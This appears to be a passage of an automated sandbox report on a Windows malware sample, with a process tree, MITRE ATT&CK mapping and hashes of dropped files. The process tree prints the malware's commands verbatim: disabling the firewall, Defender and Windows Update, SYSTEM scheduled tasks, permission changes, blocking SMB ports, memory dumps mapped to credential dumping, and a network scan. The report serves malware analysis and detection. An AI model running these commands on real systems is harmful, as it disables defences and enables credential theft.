    schtasks /create /sc minute /mo 1 /tn "pazzgwtck" /ru system /tr "cmd /c C:\Windows\ime\euiugba.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "uzmeguupv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2404
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1724
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "uzmeguupv" /ru system /tr "cmd /c echo Y|cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1740
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ruzpterzk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F"
  2⤵
  PID:4992
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1540
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "ruzpterzk" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4460
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3340
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2708
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4548
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4128
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1456
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:428
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3924
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4908
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4436
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4252
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4468
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1388
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  PID:1556
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4492
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:3720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:3360
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:4280
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1256
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:532
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4320
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:1840
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2924
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:1320
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:4928
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:4308
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2524
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    PID:3916
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:4332
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2456
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2704
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2100
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    PID:3384
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:5116
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:2044
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3608
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3196
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 784 C:\Windows\TEMP\thgpqiiyn\784.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:216
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1432
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 336 C:\Windows\TEMP\thgpqiiyn\336.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4040
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2156 C:\Windows\TEMP\thgpqiiyn\2156.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1172
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2576 C:\Windows\TEMP\thgpqiiyn\2576.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4552
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2720 C:\Windows\TEMP\thgpqiiyn\2720.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 2904 C:\Windows\TEMP\thgpqiiyn\2904.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3172
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3212 C:\Windows\TEMP\thgpqiiyn\3212.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4280
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3868 C:\Windows\TEMP\thgpqiiyn\3868.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4712
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3960 C:\Windows\TEMP\thgpqiiyn\3960.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4572
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 4028 C:\Windows\TEMP\thgpqiiyn\4028.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4932
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 516 C:\Windows\TEMP\thgpqiiyn\516.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3660
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3152 C:\Windows\TEMP\thgpqiiyn\3152.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3756
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 5032 C:\Windows\TEMP\thgpqiiyn\5032.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4564
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 836 C:\Windows\TEMP\thgpqiiyn\836.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 5064 C:\Windows\TEMP\thgpqiiyn\5064.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5100
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3748 C:\Windows\TEMP\thgpqiiyn\3748.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2440
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3548 C:\Windows\TEMP\thgpqiiyn\3548.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2208
- C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe
  C:\Windows\TEMP\thgpqiiyn\wewhpbpmh.exe -accepteula -mp 3344 C:\Windows\TEMP\thgpqiiyn\3344.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5012
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\thgpqiiyn\zymuetvrm\scan.bat
  2⤵
  PID:3784
- - C:\Windows\thgpqiiyn\zymuetvrm\eguiemhzp.exe
    eguiemhzp.exe TCP 194.110.0.1 194.110.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:1448
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:4888
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:3348
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5396
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:5344
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3468
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5112

C:\Windows\SysWOW64\zefhau.exe
C:\Windows\SysWOW64\zefhau.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:1988

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F
1⤵
PID:2584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:8
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F
  2⤵
  PID:1148

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F
1⤵
PID:4900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3608
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F
  2⤵
  PID:780

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\euiugba.exe
1⤵
PID:4308
- C:\Windows\ime\euiugba.exe
  C:\Windows\ime\euiugba.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2560

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F
1⤵
PID:3348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1588
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\gezmcuhh\euiugba.exe /p everyone:F
  2⤵
  PID:4432

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F
1⤵
PID:1348
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3968
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\tzgyhthhu\pctkcm.exe /p everyone:F
  2⤵
  PID:2824

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\euiugba.exe
1⤵
PID:2440
- C:\Windows\ime\euiugba.exe
  C:\Windows\ime\euiugba.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\thgpqiiyn\2156.dmp

Filesize
4.1MB

MD5
3452748952bd4d70b0a38fe97ca94f67

SHA1
295bdc9adc78e4ae0b921c6f37af0ac01ca0b143

SHA256
12c4efcdd7dbbb04c71df5e499060e46f22a5a943991434f77ad874dacbd5f17

SHA512
a723b360f589685f578c57908950111b39044bfd5c66e968435eb48e38d7685524c1493e1c931c137571555a2b3ab06fb6e2c9eb2b3907bcb109bb7e0c5f1127

Download Submit
C:\Windows\TEMP\thgpqiiyn\2576.dmp

Filesize
3.8MB

MD5
5d1f63f131a3f15aada99c62fe2d8040

SHA1
b2590ce72685c63ec655fc91b7783eb65fd8391b

SHA256
54f8fe2fc8ed68882981870465d2e09fc4e4f7c86be1f283360ca39277f7e92b

SHA512
60d7fd261570f900bac0b0e32528b3211a710922a2099e8ff1c6cab0cd278681f517f00e6e7a74fc90d1160f10b573c2a6f96466ecdc74223a0dcb256df9fc53

Download Submit
C:\Windows\TEMP\thgpqiiyn\2720.dmp

Filesize
2.9MB

MD5
6323a2a655255b9de6c8292f79f0ae0d

SHA1
15866112ea79e2ab6a8251f4d4ddad89b050af57

SHA256
ac53a73547fae0f0b4d1a0e71fa56f9e300d6ce9a3719b5cf5cdd9ee2c2f0b3c

SHA512
57df4e0960ae16db87aad06b5e484ce2eddf2338397d3b0eeea852fd94fa541a369576e7ffdc8f6c85730b2bc582c5ee4a9412b1d2dfb4f288048085e91c86c2

Download Submit
C:\Windows\TEMP\thgpqiiyn\2904.dmp

Filesize
7.5MB

MD5
6e866b1cf23c49682c7bac20be0f5aa6

SHA1
03530760dbb70c98e058597eab353295c56fd7cf

SHA256
558d26ff578cb60e4c129f490dd7741051d3ce9d94b0532451b485967e854467

SHA512
d61e75134cba1f7c0e867f2e23968e049eae7dd77e9ca61060bf0b034627061cb3135530ca23b06fc7a8bcf7b1d509497bdf28612f257cf4900fa4f1ebc0b4b3

Download Submit
C:\Windows\TEMP\thgpqiiyn\3152.dmp

Filesize
26.2MB

MD5
ec81b82bd1fdb91db9780ca2083aeac6

SHA1
d863b7c821c7c72dd1c765519a40550e011149bc

SHA256
729208a883a48609b871a5afc77dcb3beb0ee0e398d97c90f2596af8a6061c7b

SHA512
6497649674251f44e1bc5916f2a66cf8543d6c1636bbe0c167b1c44ea48df6b4fdcd67d5722828eccfb27ef667d3912fba2eb883dc5130663368117b8c8a2f10

Download Submit
C:\Windows\TEMP\thgpqiiyn\3212.dmp

Filesize
796KB

MD5
1f4d5559e32424fcee01498df2764d4f

SHA1
d79087d70b5c700fadfa63e9b1bb4b1050d47845

SHA256
69b96e1273ad72cc36219008a37f52b780003e4c432e95c24b94de04854d6f4e

SHA512
fa6d6047bdc2bba968c0337f448020f31218f62397f89c223fa15f5a45bd9f3e86867776b01a5443511d0a1aacafec17f7f4f4427f76d5bab8a663a779512aa8

Download Submit
C:\Windows\TEMP\thgpqiiyn\336.dmp

Filesize
33.3MB

MD5
9ed48f42aaae0085a88bdf886defa862

SHA1
d608e82dd831034f7cee42a63358b9ec08d9bfa6

SHA256
68c12eb9fd90277d669f30e075d3e26d9f07a4eea7912c3acd12480b6f34647c

SHA512
a1ab1bdf5b7520490b1cb4ed95f6d8212d1059746bfd31fac5371fc69566b9b2668abb91b919d210e2ccd25b2dc2262d96218f4c493e18c79f2b324140c01a45

Download Submit
C:\Windows\TEMP\thgpqiiyn\3868.dmp

Filesize
2.5MB

MD5
f918f336ca1ef6a622cb669bd399692f

SHA1
0d0cd6cfb91b28d57e52380edddd48d651ae2105

SHA256
eaff9d4cda2ae50cfa23a4b60afd9d2902abadf5b2baf620070f0236814951db

SHA512
ca4928dfd1aa58b0246b31d933842d3bfc41b9340c8438f77fbca4e3c45de3df8033acd19d2d01988f42c41a5c77e74734599e4d48e6aac1d7f79aa71fd10e24

Download Submit
C:\Windows\TEMP\thgpqiiyn\3960.dmp

Filesize
20.8MB

MD5
3de6c70826ea72d23e54c1ec4a4b35e8

SHA1
da9a071e294c51d4d9ac4a70ac77e47f2bb5f5c8

SHA256
9c152d92d43090ba5d8a49925a2ee4fde9d257288fcc81478f30174083905405

SHA512
517d2d576d141e53144237dbb43dd60997f8cbb2f1bdce7d97d28bd15184d88b9fa0e72b09eecf0f4b1c87a3ecce7985d48d246018347e6def211873147ef06d

Download Submit
C:\Windows\TEMP\thgpqiiyn\4028.dmp

Filesize
4.1MB

MD5
b9c2ba5eb83b4220048f2ebb6b9f5035

SHA1
54681509d8377a1b5b2e54b260caf2f62d8ab057

SHA256
e0ba06c187d2da7a104da4f65c70358442b9d1d8985de86884e9dfc535001487

SHA512
7caa74f29d79dc11b31a742e420b0d5bb9429b83c9f5bcb21e9d49d1a0d31a74c0054356c4cb8a58d6603366c0243c811598a441ed703fb10c15e8c3370f1295

Download Submit
C:\Windows\TEMP\thgpqiiyn\5032.dmp

Filesize
1.2MB

MD5
9557f2d108a64bb962e8141d62301581

SHA1
13ab7fe38b0efde7a8285b679db156176a4bdc59

SHA256
23b222e1ea8e680e5abb2fb9a51ce7bf7cf57685c944858c14386b1b5c8364c5

SHA512
b2a7c3cff708692cdbffaafca977cfa295feebb61a897c7b2f0225e74c16cba42b102c71435123499b713016553a1f9c53f35abc23249a86760774bfc81cc1b5

Download Submit
C:\Windows\TEMP\thgpqiiyn\516.dmp

Filesize
44.4MB

MD5
d4f921f8acd6b97116fbe3b315a0fc54

SHA1
474b024ac55a34a486075a97793a889943daed36

SHA256
6d49e33011dcb695dd97785c0bedddce8834a88edcf724177640e7459eb51dec

SHA512
a669574a207b61cdcbd146f09a3623d3f9c3d7750f051303740314dda27729f35adc2493557a2f33a4b9bdad39527e815c502f76751633c75aa5fc0f524bc467

Download Submit
C:\Windows\TEMP\thgpqiiyn\784.dmp

Filesize
1019KB

MD5
b00b9fba65f160d866bd3ece9ef6fe67

SHA1
35211f4f52f63546be4b5ddd5ee6fcd90da13cbb

SHA256
66e50b26098f854f42fe5724af6de51c15338ffd15cb63a95cc9c47e98793bab

SHA512
35b037e0ffb240a4aa56e8ac498c0d73751a03e6f9fe1b5f0a8be1f909a2592ec094627638b7e69c3cb662e921190c0f0204456fb3a5c33d54855b00993f1748

Download Submit
C:\Windows\TEMP\thgpqiiyn\836.dmp

Filesize
8.9MB

MD5
9ed3511b14a1e98d817105b48b1fd1e2

SHA1
8d7ccb9a38e558a3281a949e8b6188a9873b246a

SHA256
c6b8d36ab6108bfcf7571a043aa140fe3bda0cd1e3ae992106daa5958d24d709

SHA512
3dec6f13cdb69275c25abce6122747c91549039eb146d59fd7635c95b1f89ea6cfb3b87012156885e27c014c77c2151ddc1796c7c32152d672ebb44dd5f0c5ac

Download Submit
C:\Windows\TEMP\tzgyhthhu\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\nsp2BDF.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsp2BDF.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\thgpqiiyn\wewhpbpmh.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\tzgyhthhu\pctkcm.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
